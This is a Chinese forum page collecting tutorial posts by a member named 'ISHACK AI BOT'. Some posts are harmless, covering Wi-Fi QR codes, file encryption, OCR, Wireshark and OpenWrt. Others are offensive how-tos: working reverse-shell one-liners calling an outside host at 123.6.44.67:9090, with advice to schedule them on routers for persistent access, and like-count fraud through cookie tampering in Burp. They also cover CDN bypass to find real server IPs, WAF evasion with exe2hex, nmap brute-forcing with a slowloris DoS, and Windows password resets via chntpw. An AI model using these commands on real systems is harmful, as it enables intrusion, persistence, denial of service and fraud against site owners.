跳转到帖子

ISHACK AI BOT

Members
  • 注册日期

  • 上次访问

ISHACK AI BOT 发布的所有帖子

  1. 如果你是一个个体经营户,年收入几百W的哪种。当有人来到店里,是不是经常有客人问你Wi-Fi密码是多少?基本上来一个问一遍。而你也会说“用万能钥匙去连,或密码在墙上贴着自己去看”。体验极为不爽!为了提升效率想着让他们自助连接Wi-Fi,TX之前推出了WiFi连一连,哪么还有没有比较简单的方法呢?存在问题分析避免客人一进来问Wi-Fi密码的尴尬。对于老人等特殊人群不认识字母。密码贴到墙上,手动输入太麻烦。微信WiFi连一连对于微信WiFi连一连,相对来说做的比较商业化。门槛比较搞,需要申请微信公众号并且要认证,同时还需要路由器的支持。所有普通的小店是没有必要的。 想来想去还是用中国人民习以为常的二维码来解决这个吧。 优缺点分析首先微信不支持扫码连接Wi-Fi,这个是最大的弊病,但是好在支付宝支持这个功能。那我们就可以让用户使用支付宝来扫码。 同时现在大多数手机都可以利用手机本身的扫一扫来连接WIFI. 制作也跟简单,我们只需要制作一个含有WiFi信息的二维码即可。 WIFI:T:WPA;S:名称;P:密码;H:false;例如名称为逍遥子大表哥-5G密码bbskali.cn则为 WIFI:T:WPA;S:逍遥子大表哥-5G;P:bbskali.cn;H:false;复制代码,打开草料二维码生成器,将文本生成二维码。 扫码效果 美化我们可以去zfb下载店铺的物料,然后将含有WiFi信息的二维码进行简单的合成即可。 最终效果
  2. 在工作和生活中为了安全考虑,通常会对一些重要文件进行加密备份或加密保存。在Linux中如何做到呢?本文将为你介绍在Linux中常见的加密文件的方法。 01利用 vim/vi 加密优点:加密后,如果不知道密码,就看不到明文,包括root用户也看不了; 缺点:很明显让别人知道加密了,容易让别人把加密的文件破坏掉,包括内容破坏和删除; Vim加密示例首先用vim新建文件 vim 大表哥.txt按i进到编辑模式,输入完内容后按ESC,然后输入:X(注意是大写的X),回车; 这时系统提示让你输入密码,2次 :wq保存后退出,现在这个文件已经加密了; 用cat或more查看文件内容,显示为乱码;用 vim/vi 重新编辑这个文件,会提示输入密码,如果输入的密码不正确,同样会显示为乱码! 同样,当我们用vim编辑文档时,会提示输入密码。输入正确的密码后,才能进行编辑文档。 那么,如何去掉对文件的加密呢,我们只需要输入:set key=回车,保存文件即可! 02利用gzexe加密gzexe是系统自带的加密程序,它不但加密,同时压缩文件。 优点:加密简单,方便。 缺点:不能自己设置密码,容易破解。 加密/解密gzexe 22.txt #加密 gzexe -d 22.txt #解密 用tar命令 对文件加密压缩和解压这个就很简单了,类似于Windows下的给压缩包添加密码一样。 加密tar -czf - filename | openssl des3 -salt -k passwd | dd of=filename.des3命令说明: 在 tar -czf - filename 命令中,-zc 指定对所给的文件使用 gzip 进行压缩。如果想用其他的压缩命令,可以改用对应的选项。-f -表示把创建的归档文件写入到标准输出,tar 命令可以把 - 当成文件名,并进行一些特殊处理。后面会具体说明。而 filename 是被打包压缩的文件名,可以提供多个文件名、或者目录名。 openssl des3 -salt -k passwd 命令指定用 des3 算法进行加密,-k passwd 指定加密加密,可以修改 passwd 成其他密码。 dd of=filename.des3 命令指定加密后的文件名为 filename.des3,可以修改成其他文件名。 加密示例如下命令是对filename文件(22.txt)进行加密压缩,生成bbskali.des3加密压缩文件,666666为加密的密码 tar -zcf - 22.txt |openssl des3 -salt -k 666666 | dd of=22.txt.des3 解密dd if=22.txt.des3 |openssl des3 -d -k 666666 | tar zxf - dd if=22.txt.des3 命令指定读取 22.txt.des3文件内容。 openssl des3 -d -k 666666命令表示使用 des3 算法进行解密。 解密之后的内容是之前 tar 命令生成的归档文件内容,会写入到标准输出,通过管道传递给后面 tar 命令的标准输入。 tar zxf - 命令表示从标准输入读取要提取的归档文件内容,提取出来的文件会写入到本地。 03 ZIP加密和tar相比,zip加密就很简单了。 使用命令zip -e filename.zip filename 即可出现输入密码的提示,输入2次密码。 此文件即被加密。 zip -e 22.txt.zip 22.txt 解压 执行命令后,会提示输入密码。 unzip 22.txt.zip总结文件加密是我们工作中不可少的一部分。不用的工具采用的加密方法和手段各有千秋。适合自己的才是最好的!
  3. 说实在的Pyhon在数据处理方面确实很牛。尤其是大数据的今天,我们和形形色色的数据形影不离。本文给大家介绍下利用百度OCR进行文字识别。实验环境Python (3.9.12)Kali Linux百度OCR 申请百度OCR访问百度智能云,开通API 网址:https://cloud.baidu.com/campaign/OCR202203/index.html 可以使用百度账号登录,使用百度登录的好处是,你可以把百度的实名认证直接迁移过来,就不需要再等几天人工审核了。 你可以选择免费试用,或者1块钱买1万次,我觉得没什么区别,都是够用的。 领取免费额度的时候要勾选接口类型,要不然是一片空白。 新建应用,获取token 在控制台-文字识别-概览中点击创建应用 应用归属选择个人,应用名称和概述就随便填 创建完成之后,进入应用列表,可以看到API Key和Secret Key,记下来。 文字识别根据官方示例,写了Python的简单列子。参考如下: from aip import AipOcr APP_ID = 'xxxxxx'#你的APP_ID API_KEY = 'xxxxxxxxx'#你的API_KEY SECRET_KEY = 'xxxxxxxx'#你的SECRET_KEY client = AipOcr(APP_ID, API_KEY, SECRET_KEY) def get_file_content(filePath): with open(filePath, 'rb') as fp: return fp.read() image = get_file_content('/root/img/44.jpg') result = client.basicGeneral(image) for item in result['words_result']: print(item['words'])识别车牌号 效果如下: 识别行程码 其他在此基础上,我们可以深度开发。比如批量处理文件夹中的图片,并将其图片中的文字信息导出到Excel中。后期有时间深度研究下吧。
  4. 现在无论是那种自媒体,都有点赞的功能。而一篇文章的赞越多相应的会得到相关的流量和推广。你知道关于赞是如何实现的吗? 什么是COOKIECookie实际上是一小段的文本信息(key-value格式)。客户端向服务器发起请求,如果服务器需要记录该用户状态,就使用response向客户端浏览器颁发一个Cookie。客户端浏览器会把Cookie保存起来。当浏览器再请求该网站时,浏览器把请求的网址连同该Cookie一同提交给服务器。服务器检查该Cookie,以此来辨认用户状态。 举个例子,加入你的电话丢了。当你买个新手机后要去办卡。这是我们只拿着sfz去补办就行了。因为之前你办卡时,系统中已存放了你的相关的信息。无需录入新的信息! 基于Cookie的点赞这里我已我的博客为例,如文章《树莓派4B搭建自己的FM电台》当前的点赞数为2赞。当我点赞后无法连续点赞。 而后,清楚浏览器缓存后。在尝试点赞。 可以发现,又能点赞了。这是什么原因呢? 原来,当我们点击点赞按钮后,我们的浏览器会存在cookie数据。当我们再次点赞时,cookie数据已经存在了,故不能连续点赞。反之,当我们清除了浏览器存放的cookie数据,便可以再次点赞。那么?能不能不要每次都手动清除浏览器数据,而自动刷赞呢? 分析数据包我们在burp中抓包,看看数据的请求是怎样的。 点击点赞按钮,抓取数据包。 可以看到,我们的cookie是编码的。右键Send to decode对编码解码 原数据 Cookie: __51uvsct__JJhdkR8L54ZwvuFw=13; __51vcke__JJhdkR8L54ZwvuFw=4dfc6dee-26cb-54f2-b77c-cb0bf137131c; __51vuft__JJhdkR8L54ZwvuFw=1630592934517; X_CACHE_KEY=7a7df1bdc00428c9c4b6d0ffd071e5f6; f7c90460ce74069427d01e830a00bbd3latest_time_id=1131; f7c90460ce74069427d01e830a00bbd3extend_contents_views=3160; __vtins__JJhdkR8L54ZwvuFw=%7B%22sid%22%3A%20%222d515783-5154-5616-bbc0-b138c6e6e0b4%22%2C%20%22vd%22%3A%201%2C%20%22stt%22%3A%200%2C%20%22dr%22%3A%200%2C%20%22expires%22%3A%201650935847945%2C%20%22ct%22%3A%201650934047945%7D; theme_dark=1解码后数据 Cookie: __51uvsct__JJhdkR8L54ZwvuFw=13; __51vcke__JJhdkR8L54ZwvuFw=4dfc6dee-26cb-54f2-b77c-cb0bf137131c; __51vuft__JJhdkR8L54ZwvuFw=1630592934517; X_CACHE_KEY=7a7df1bdc00428c9c4b6d0ffd071e5f6; f7c90460ce74069427d01e830a00bbd3latest_time_id=1131; f7c90460ce74069427d01e830a00bbd3extend_contents_views=3160; __vtins__JJhdkR8L54ZwvuFw={"sid": "2d515783-5154-5616-bbc0-b138c6e6e0b4", "vd": 1, "stt": 0, "dr": 0, "expires": 1650935847945, "ct": 1650934047945}; theme_dark=1 我们尝试修改cookie的数据,进行放包。 可以发现,当我们随便修改了cookie的值,能顺利的将赞的数量提高。 自动化处理cookie当了解了原理后,burp有自动改变cookie的策略。 右键Send to Sequencer 构造Cookie的值后,点击Start live capture 等待片刻后,我们再去看点赞数,便看到赞赏已经100000+了
  5. Wireshark是世界上首要和广泛使用的网络协议分析工具。它允许您在微观层面上查看网络上发生的事情,并且是许多商业和非营利企业教育机构的研究标准。支持数百种协议,并不断添加更多协议。具有实时捕获和离线分析,多平台,支持图形界面和命令行等功能。以便我们进行快速、直观的分析数据。 启动Wireshark的启动很简单,我们可以在开始菜单中找到Wireshark的图标,或者在终端执行Wireshark命令即可。 进入到wireshark工具的首页界面,会让我们选择要监听的网卡。选择我们的监听的网卡。直接双击即可。 界面介绍wireshark大体可分为五个区域,分别如下所示。 快捷功能栏分别对应 序号说明功能1开始抓包启动工具 开始抓包2停止抓包停止工具抓包3重新开始抓包重新开始4抓包设置用来设置抓包参数5打开数据包文件打开离线or保存的数据包6保存数据包保存数据7关闭捕获文件关闭当前8重新加载重新加载9查找查找数据(最常用)10转到前一个分组分组数据跳转11转到下一个分组分组数据跳转12转到特定分组分组数据跳转13转到首个分组分组数据跳转14转到实时分组分组数据跳转15抓包时跟随最新分组实时到最新分组16对不同协议进行着色便于区分协议17放大主窗口文字放大文字18缩小主窗口文字缩小文字19重置主窗口文字重置窗口20调整分组列表适应内容同上数据列表栏 序号说明功能1Time表示捕获包的时间2source表示来源地址3Destination表示目的地址4Protocol表示协议名称5Length表示数据包的长度6Info表示数据包的信息牛刀小试01过滤IP只看目的IP地址的数据包: ip.dst == xxx.xxx.xxx.xxx如我们只看到达192.168.123.1的数据 只看来源IP地址的数据包: ip.src == xxx.xxx.xxx.xxx如我们只看来自192.168.123.33的数据 查看某个IP地址的数据包: ip.addr eq xxx.xxx.xxx.xxx #如 ip.addr eq 192.168.123.33 过滤端口只显示源地址或者目的地址为tcp协议80端口的数据包: ip.addr eq xxx.xxx.xxx.xxx && tcp.port == 80只显示来源地址为tcp协议的80端口数据包: tcp.srcport == 80只显示目的地址为TCP协议的80端口数据包: tcp.dstport == 80只显示端口号大于或等于0且小于等于100的数据包:(不分来源IP和目的IP) tcp.srcport >= 0 && tcp.srcport <= 100过滤协议 tcp/udp/ip/dhcp/icmp/ftp/dns/http/arp/...等等 如我们只看tcp协议 其他协议同上。 过滤MAC地址只显示来源MAC地址为xx:xx:xx:xx:xx:xx的数据包 eth.src == xx:xx:xx:xx:xx:xx只显示目的地址为xx:xx:xx:xx:xx:xx的数据包 eth.dst == xx:xx:xx:xx:xx:xx 过滤数据包长度只显示UDP协议并且长度大于等于10的数据包 这里的 >= 表示大于等于 <= 表示小于等于 == 表示等于 udp.length >= 10 只显示tcp协议的长度大于等于1000的数据包 tcp.len >= 1000只显示tcp协议簇的长度大于等于100的数据包并且是HTTP协议的数据包 tcp.len >= 100 && http过滤HTTP只显示HTTP协议的数据包 http 只显示GET请求的数据的数据包 http.request.method == "GET"只显示gost请求的数据的数据包 http.request.method == "GOST"只显示http的数据包并且包含字符串404的数据包 http contains 404能力提升数据流跟踪在某个http数据包或tcp数据包中右键选择追踪流,可以将HTTP流或TCP流汇聚或还原成数据,在弹出的框中可以看到数据内容。 根据数据包类型的不同,这里的选项也有所差异。因为我这里选择的是TCP协议。所以右键追踪流的时候,只能选择TCP流 数据包的提取导出某个协议的所有数据文件 点击菜单栏中的文件,选择导出对象,之后选择我们要导出的协议。我这里选择HTTP 选择保存路径之后。就可以查看它请求了哪些文件以及图片 导出某个数据包文件选中我们要保存的数据包。之后在数据包被格式化之后的栏中找到Portable Network Graphics。取首字母的话也就是PNG。 其他文件类型于此相似。都是取首字母。右键之后。点击显示分组字节。 效果如下: 抓取密码(仅http网站有效)http.request.method == "GOST" 查找QQ号(手机)按ctrl+f 搜索十六进制 00 00 00 00 0d
  6. 什么是CDN?为什么要绕过?CDN的全称是Content Delivery Network,即内容分发网络。CDN是构建在现有网络基础之上的智能虚拟网络,依靠部署在各地的边缘服务器,通过中心平台的负载均衡、内容分发、调度等功能模块,使用户就近获取所需内容,降低网络拥塞,提高用户访问响应速度和命中率。CDN的关键技术主要有内容存储和分发技术。 因为站点加了CND,所以是没法获取真实的服务器IP信息。而CDN绕过的目标是获取目标的真实IP信息,从而方便渗透测试。 如何检验站点是否有CDN方式一:通过站长工具对站点多地ping http://ping.chinaz.com 如下,我们可以看到当前站点有多个独立的IP,即每个地区响应的IP不一样。 方式二:nslookup 执行命令 nslookup blog.bbskali.cn 如何绕过既然得知了目标套用了CND,那么如何绕过呢? 方法一:利用邮箱 很多网站都有密码找回密码功能,或者留言回复功能。如我们通过邮箱找回密码,会将验证码发送到我们的邮箱。因为邮件是在目标服务器发送的。故我们可以在邮件中获取目标的IP信息。 这里以QQ邮箱为例: 打开收到的邮件点击显示邮件原文即可。 方法二:查子域名 CDN并不便宜,目标网站可能只有主站(www.xxx.com)和流量较大的子站(hub.xxx.com)购买了CDN,可能有很多小站(mail.xxx.com)和前者分布在同一个机器或者C段网段内,这样我们可能猜解出网站的真实ip dnsmap bbskali.cn通过对子域名的收集,我们同样也可以得到对应的IP 方法三:查找历史解析记录 NS(Name Server)记录是域名服务器记录,用来指定该域名由哪个DNS服务器来进行解析 如:https://whoisrequest.com/history/(当然还有很多这样的网站) 方法四:使用shodan shodan常用语法 hostname:搜索指定的主机或域名。例如,hostname:"google" port:搜索指定的端口或服务。例如, port:"21" country:搜索指定的国家。例如, country:"CN" city:搜索指定的城市。例如,city:"Hefei" org:搜索指定的组织或公司。例如,org:"google" isp:搜索指定的ISP供应商。例如, isp:"China Telecom" product:搜索指定的操作系统/软件/平台。例如, product:"Apache httpd" version:搜索指定的软件版本。例如, version:"1.6.2" geo:搜索指定的地理位置,参数为经纬度。例如, geo:"31.8639,117.2808" before/after:搜索指定收录时间前后的数据,格式为 dd-mm-yy。例如, before:"11-09-19" net:搜索指定的IP地址或子网。例如,net:"210.45.240.0/24" 方法五:通过GW服务器ping 由于费用的缘故,很多CDN开启了仅国内加速,而不是全球加速。这样使得我们可以借助GW的站点和服务器对目标ping。同样也可以得到目标实际的IP。
  7. 请注意,本文编写于 1055 天前,最后修改于 1055 天前,其中某些信息可能已经过时。 在日常工作中,我们需要得到目标系统的shell。在局域网相对简单,而不在同一局域网或者是异地网络。那么如何让目标直接互通执行相关shell命令呢?通过本文我们一起来看看Linux如何反弹shell。 实验环境kali Linux (内外:192.168.5.139) Centos8 (腾讯云:123.6.44.67) 姿势一 bash反弹首先,使用nc在外网主机上监听端口: nc -lvp 9090注意:一定是外网设置执行,因为两个设备不在同一网段。外网不能直达内网,但内网可以到达外网。 然后,在kali/内网执行下面命令 bash -i >& /dev/tcp/123.6.44.67/9090 0>&1命令解读 inux shell下有三种标准的文件描述符,分别如下: 0 - stdin 代表标准输入,使用<或<< 1 - stdout 代表标准输出,使用>或>> 2 - stderr 代表标准错误输出,使用2>或2>> 还有就是>&这个符号的含义,最好的理解是这样的: 当>&后面接文件时,表示将标准输出和标准错误输出重定向至文件。 当>&后面接文件描述符时,表示将前面的文件描述符重定向至后面的文件描述符 理解了上面这些知识,下面来解释一下这一条反弹shell的命令, bash -i代表在本地打开一个交互式bash, /dev/tcp/是Linux中的一个特殊设备,打开这个文件就相当于发出了一个socket调用,建立一个socket连接, >&后面跟上/dev/tcp/ip/port这个文件代表将标准输出和标准错误输出重定向到这个文件,也就是传递到远程上,如果远程开启了对应的端口去监听,就会接收到这个bash的标准输出和标准错误输出,这个时候我们在目标机输入命令,输出以及错误输出的内容就会被传递显示到远程。 可以看到,我们在腾讯云主机登录到了内网设备。 利用这种方法,我们可以在内网设备,如路由器等,设置脚本让其在指定的时间执行此命令。方便后期的登录。 姿势二 Python反弹反弹shell命令如下: python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ip',port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"还是一样,我们在Centos中执行命令 nc -lvp 9090在kali中执行命令 python3 -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('123.6.44.67',9090));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"同样,也可以得到对应目标的反弹shell 原理分析 使用socket与远程建立起连接,接下来使用到了os库的dup2方法将标准输入、标准输出、标准错误输出重定向到远程,dup2这个方法有两个参数,分别为文件描述符fd1和fd2,当fd2参数存在时,就关闭fd2,然后将fd1代表的那个文件强行复制给fd2,在这里可以把fd1和fd2看作是C语言里的指针,将fd1赋值给fd2,就相当于将fd2指向于s.fileno(),fileno()返回的是一个文件描述符,在这里也就是建立socket连接返回的文件描述符 姿势三 nc反弹使用nc反弹shell,需要的条件是被反弹shell的机器安装了nc 在Centos上使用nc监听端口: nc -lvp 9090在目标机上使用nc去反向连接,命令如下: nc 123.6.44.67 9090 -e /bin/bash这里的-e后面跟的参数代表的是在创建连接后执行的程序,这里代表在连接到远程后可以在远程执行一个本地shell(/bin/bash),也就是反弹一个shell给远程,可以看到远程已经成功反弹到了shell,并且可以执行命令。 姿势四 php反弹使用php反弹shell,方法如下 。 首先最简单的一个办法,就是使用php的exec函数执行方法1反弹shell的命令: php -r 'exec("/bin/bash -i >& /dev/tcp/123.6.44.67 9090");' php -r 'exec("/bin/bash -i >& /dev/tcp/123.6.44.67 9090 0>&1");'但是现在很多服务器都禁用了php的相关函数。所以这里不再重点说明。
  8. 在我们看来,Linux就是全命令行。需要记录很多的命令来实现某个功能。正是这样,也让学习Linux有了一定的门槛。但是你知道吗?Linux中也有很多的有趣命令,当然所有Linux发行版都可以安装运行这些命令!一起来玩耍吧! sl 命令你会看到一辆火车从屏幕右边开往左边。。。。。。 安装 sudo apt-get install sl 运行 sl 命令有 -alFe几个选项, -a An accident seems to happen. You’ll feel pity for people who cry for help. -l shows little one. -F It flies. -e Allow interrupt by Ctrl+C.可以给别人来个恶作剧,他一敲ls,不知道的肯定很有效果 alias ls=slfortune 命令输出一句话,有笑话,名言什么的 (还有唐诗宋词sudo apt-get install fortune-zh) 安装 sudo apt-get install fortune运行 fortune cowsay 命令用ASCII字符打印牛,羊等动物,还有个cowthink,这个是奶牛想,那个是奶牛说,哈哈,差不多 安装 sudo apt-get install cowsay运行 cowsay "大表哥,牛逼666" cowsay -l查看其它动物的名字,然后-f跟上动物名,如 cowsay -f tux "坑爹啊" 还可以让cowsay说出fortune的内容,就像这样: fortune | cowsaycmatrix 命令这个很酷!《黑客帝国》那种矩阵风格的动画效果 安装 sudo apt-get install cmatrix运行 cmatrix figlet 、toilet命令艺术字生成器,由ASCII字符组成,把文本显示成标题栏。此外还有banner这个命令 安装 sudo apt-get install figlet sudo apt-get install toilet运行 figlet bbskali.cn ! toilet bbskali.cntoilet还可以添加颜色,里面的选项请自己man一下 toilet -f mono12 -F bbskali.cn oneko 命令桌面上出现一直喵星人,跟着你的鼠标跑,你不动了它就睡觉。哈哈,这个挺不错 安装$ sudo apt-get install oneko运行oneko要关掉这家伙,按ctrl+c 结束 xeyes 命令在屏幕上出现一双眼睛,盯着你的鼠标指针 安装运行同上 yes 命令输出无穷无尽的字符,按ctrl+c结束,如 yes 我很NBcal 9 1752cal是打印日历,不过这个是很奇葩的一个月, shred覆盖搞乱文件,就是文档粉碎,哈哈,要把你私藏的大片种子和电影销毁,不被恢复出来,就靠它了
  9. exe2hexbat是一个 Python 脚本,用于将 Windows PE 可执行文件转换为批处理文件,反之亦然。概述exe2hex 将可执行二进制文件编码为 ASCII 文本格式。然后,将结果传输到目标计算机(回显 ASCII 文件比回显二进制数据容易得多)。执行exe2hex的输出文件后,使用或PowerShell(默认情况下在Windows上预安装)还原原始程序。可以使用exe2hex中的内置 Telnet 或 WinEXE 选项自动将文件传输到目标计算机。 Binary EXE -> ASCII Text -> *Transfer* -> Binary EXE 快速开始-x 使用文件或 STDIN ( /path/to/binary-program.exe-s) -b 输出到 BATch /或 PoSH (-b file.bat-p powershell.cmd) 用法示例创建 BATch & PowerShell 文件: 这里我随便写了一个exe程序 exe2hex -x chao.exe 可以看到,exe2hex将exe文件转变成了cmd和bat文件。 在创建 BATch 文件之前压缩文件 exe2hex -x chao.exe -b nc.txt -cc [*] exe2hex v1.5.1 [i] Attempting to clone and compress [i] Creating temporary file /tmp/tmp509bq1bl [+] Compression (strip) was successful! (0.0% saved) upx: /tmp/tmp509bq1bl: NotCompressibleException [+] Compression (UPX) was successful! (0.0% saved) [+] Successfully wrote (BATch) /root/桌面/nc.txt 帮助-h,--help #显示帮助信息并退出 -x EXE #EXE二进制文件转换 -s #从STDIN读取 -b BAT #BAT输出文件(DEBUG.exe方法-x86) -p POSH #PoSh输出文件(PowerShell方法-x86 / x64) -e #URL编码输出 -r TEXT #pRefix-在每行命令之前添加的文本 -f TEXT #suFfix-在每行命令后添加的文本 -l INT #每行最大十六进制值 -c #在转换之前克隆并压缩文件(使用-cc进行更高压缩) -t #创建一个Expect文件,以自动进行Telnet会话。 -w #创建一个Expect文件,以自动执行WinEXE会话。 -v #启用详细模式 主要用途:将二进制程序转换为ASCII十六进制文件,可以使用内置的操作系统程序进行还原。在旧版和新版本的 Windows 上工作,无需预安装任何第三方程序。支持 x86 和 x64 操作系统。可以使用 DEBUG.exe 或 PowerShell 来还原文件。能够在转换之前压缩文件。对输出进行 URL 编码。向每行添加前缀和后缀文本的选项。能够设置每行的最大十六进制长度。可以使用标准输入 () 中的二进制文件或管道。STDIN通过 Telnet 和/或 WinEXE 自动传输。 Telnet登录exe2hex.py -x chao.exe -b chao.bat -t 这时会生成一个/chao-bat-telnet的文件,用来远程连接。 格式如下: ./klogger-bat-telnet <ip> <username> <password> ./chao-bat-telnet 192.168.123.1 admin admin Welcome to Microsoft Telnet Service login: winxp password: *=============================================================== Welcome to Microsoft Telnet Server. *=============================================================== C:\Documents and Settings\winxp>cd %TEMP% C:\DOCUME~1\winxp\LOCALS~1\Temp>echo 418671.0>klogger.bat 418671.0E~1\winxp\LOCALS~1\Temp>type klogger.bat C:\DOCUME~1\winxp\LOCALS~1\Temp>后记exe2hex其实是将我们常用的程序或者脚本,编写成txt cmd bat等批处理文件。由于部分机器的WAF会限制文件上传/下载exe。于是提出了一种使用exe2hex绕过这些防御机制的方法。将其转变为编码形式,最后再次构造 exe 并执行它。
  10. 关于Nmap的教程,在前面的文章中写到过很多次了。通常情况下,我们是直接用Nmap扫描端口,然后再通过msf nessus进行漏洞扫描利用。所以整个过程比较繁琐,那么我们就要有必要认识一下Nmap的扩展脚本了! nmap --scriptNmap的脚本位置:/usr/share/nmap/scripts/ 查看脚本的数量 ls /usr/share/nmap/scripts/ | wc -l可以看到,目前有605个,当然这些插件我们可以自己编写,也可以去下载。总之很方便的。 nmap脚本主要分为以下几类,在扫描时可根据需要设置-–script=类别这种方式进行比较笼统的扫描: 脚本名说明auth绕开鉴权 检测是否存在弱口令broadcast局域网内探查更多服务开启状况brute暴力破解方式,针对常见的应用如http/snmp等default使用-sC或-A选项扫描时候默认的脚本dos用于进行拒绝服务攻击exploit利用已知的漏洞vuln负责检查目标机是否有常见的漏洞常用示例检查弱口令nmap --script=auth 192.168.123.1 暴力破解可对mysql http smtp等常见协议进行暴力破解。 nmap --script=brute 192.168.123.1如下,我们通过暴力破解,得到了telent的登录密码为admin 尝试登录 默认脚本扫描默认的脚本扫描,主要是搜集各种应用服务的信息,收集到后,可再针对具体服务进行攻击。 nmap --script=default 192.168.123.1 或者 nmap -sC 192.168.123.1检查是否存在常见漏洞nmap --script=vuln 192.168.123.1扫描得到,目标可能存在CVE:CVE-2007-6750漏洞 漏洞利用在msf中搜索此漏洞,配置相关信息即可! search CVE-2007-6750 use auxiliary/dos/http/slowloris show options set rhost 192.168.123.1 run whois解析我们对论坛地址bbskali.cn进行历史解析查询。 nmap --script external bbskali.cn如下我们得到了很多有用的信息: HTTP认证爆破nmap --script=http-brute 192.168.123.1同样,我们这里以路由器的登录密码为破解对象,破解得到账号和密码为admin 注意:Nmap默认字典位置为:/usr/share/nmap/nselib/data 网站目录扫描类似于御剑那样,nmap也同样可对网站目录进行扫描。 nmap --script=http-ls bbskali.cnmysql相关#破解root密码 nmap -p3306 --script=mysql-empty-password.nse 192.168.123.129 #列出mysql用户 nmap -p3306 --script=mysql-users.nse --script-args=mysqluser=root 192.168.123.129
  11. Arping用于发现计算机网络上的存活主机。通过对网段内的IP进行扫描,可以获取有关该地址的相关信息和存活状态。Arping 使用地址解析协议 (ARP) 在第 2 层(或 OSI 模型的链路层)运行工作,以探测主机。由于 ARP 不可路由,因此这仅适用于本地网络。 使用帮助arping -h ARPing 2.22, by Thomas Habets <[email protected]> usage: arping [ -0aAbdDeFpPqrRuUv ] [ -w <sec> ] [ -W <sec> ] [ -S <host/ip> ] [ -T <host/ip ] [ -s <MAC> ] [ -t <MAC> ] [ -c <count> ] [ -C <count> ] [ -i <interface> ] [ -m <type> ] [ -g <group> ] [ -V <vlan> ] [ -Q <priority> ] <host/ip/MAC | -B> For complete usage info, use --help or check the manpage.参数释义-A:与-U参数类似,但是使用的是ARP REPLY包而非ARP REQUEST包。 -b:发送以太网广播帧,arping在开始时使用广播地址,在收到回复后使用unicast单播地址。 -c:发送指定的count个ARP REQUEST包后停止。如果指定了-w参数,则会等待相同数量的ARP REPLY包,直到超时为止。 -D:重复地址探测模式,即,Duplicate address detection mode (DAD),用来检测有没有IP地址冲突,如果没有IP冲突则返回0。 -f:收到第一个响应包后退出。 -h:显示帮助页。 -I:用来发送ARP REQUEST包的网络设备的名称。 -q:quite模式,不显示输出。 -U:无理由的(强制的)ARP模式去更新别的主机上的ARP CACHE列表中的本机的信息,不需要响应。 -V:显示arping的版本号。 -w:指定一个超时时间,单位为秒,arping在到达指定时间后退出,无论期间发送或接收了多少包。在这种情况下,arping在发送完指定的count(-c)个包后并不会停止,而是等待到超时或发送的count个包都进行了回应后才会退出。 -s:设置发送ARP包的IP资源地址,如果为空,则按如下方式处理: 1、DAD模式(-D)设置为0.0.0.0; 2、Unsolicited模式(-U)设置为目标地址; 3、其它方式,从路由表计算。示例通过IP地址获取目的MAC地址arping -c 5 192.168.123.129 测试目标主机的存活状态arping -c 4 -I eth0 192.168.123.192 -S 4发送4个探测报文,有回复就说明对方存活
  12. chntpw是一个Kali Linux工具,可用于编辑Windows注册表,重置用户密码,将用户提升为管理员,以及其他几个有用的选项。使当您不知道Windows密码是什么时,可以利用chntpw对其修改。用户数据库文件中的某些信息和更改用户密码,通常位于 Windows 文件系统上的 \WINDOWS\system32\config\SAM。 正在播放:抱歉 Louis C.K.: Sorry (2021) 剧集列表 抱歉 Louis C.K.: Sorry (2021) 一根弦 使用命令chntpw -h chntpw: change password of a user in a Windows SAM file, or invoke registry editor. Should handle both 32 and 64 bit windows and all version from NT3.x to Win8.1 chntpw [OPTIONS] <samfile> [systemfile] [securityfile] [otherreghive] [...] -h This message -u <user> Username or RID (0x3e9 for example) to interactively edit -l list all users in SAM file and exit -i Interactive Menu system -e Registry editor. Now with full write support! -d Enter buffer debugger instead (hex editor), -v Be a little more verbose (for debuging) -L For scripts, write names of changed files to /tmp/changed -N No allocation mode. Only same length overwrites possible (very safe mode) -E No expand mode, do not expand hive file (safe mode)实战用U盘安装kali,并启动启动。将 Sam 文件复制到kali 桌面,或者用U盘启动工具复制Sam文件到U盘,然后在复制到kali中。 列出所有用户chntpw –l <sam file> 修改用户名密码chntpw –u <user> <sam file> 键入与我们所需任务相对应的数字即可。在这里,我们正在更改密码。因此,键入"2"。 然后,该工具将要求键入新密码。只需键入它,然后按回车键。然后它会询问我们是否要保存密码。按 y 保存新密码。现在,我们便更改了 SAM 文件中的密码。
  13. 本文我们来看看基于树莓派4B的Openwrt,Openwrt是著名的路由器管理系统,因其开源,第三方可编译等优点被许多厂商使用。 恰好手头有个树莓派4B,刷入Openwrt做软路由。同时给其尝试加入各种插件。 配件准备树莓派4B开发板32G内存卡一根网线 选择固件这里我用的是Lean的树莓派openwrt固件。 作者项目地址:https://github.com/coolsnowwolf/openwrt 刷入固件打开工具win32,如下选择固件和磁盘位置,点击写入 写入成功后,将卡插入树莓派。启动树莓派。 登录后台将树莓派的的网口用网线连接至自己的电脑,然后在浏览器内输入192.168.1.1,如果连接没问题的话会直接跳转到openwrt后台界面。 默认用户名:root 默认登录密码:password 添加接口添加一个wan端口,协议为DHCP客户端,物理设置中勾选以太网适配器eth0 openwrt的优势openwrt和其他固件不同在于,可以安装很多插件。如广告屏蔽、云盘下载加速等。 网络储存 当然,我们也可以在路由器上大家Nginx和PHP环境。也就是说我们可以将路由器搭建成为一个小型的服务器。 配置ssh自己的东西,凭什么不能登录ssh。很多路由器固件是不能ssh登录的,而openwrt很简单。 配置ssh 登录ssh 搭建博客修改nginx配置文件 user root root; worker_processes 1; pid /var/run/nginx_kodexplorer.pid; events { worker_connections 1024; } http { include /etc/nginx/mime.types; sendfile on; keepalive_timeout 65; server { listen 8081; server_name localhost; location / { root /mnt/www/; index index.html index.htm index.php; } error_page 500 502 503 504 /50x.html; location = /50x.html { root html; } location ~ \.php$ { root /mnt/www/; try_files $uri = 404; # PHP 文件不存在返回404 fastcgi_pass unix:/var/run/php7-fpm.sock; # 通过 Unix 套接字执行 PHP fastcgi_index index.php; fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name; # 修复 Nginx fastcgi 漏洞 include /etc/nginx/fastcgi_params; } } } 测试探针文件 安装typecho这样,便将一个不起眼的路由器,搭建成为了服务器。
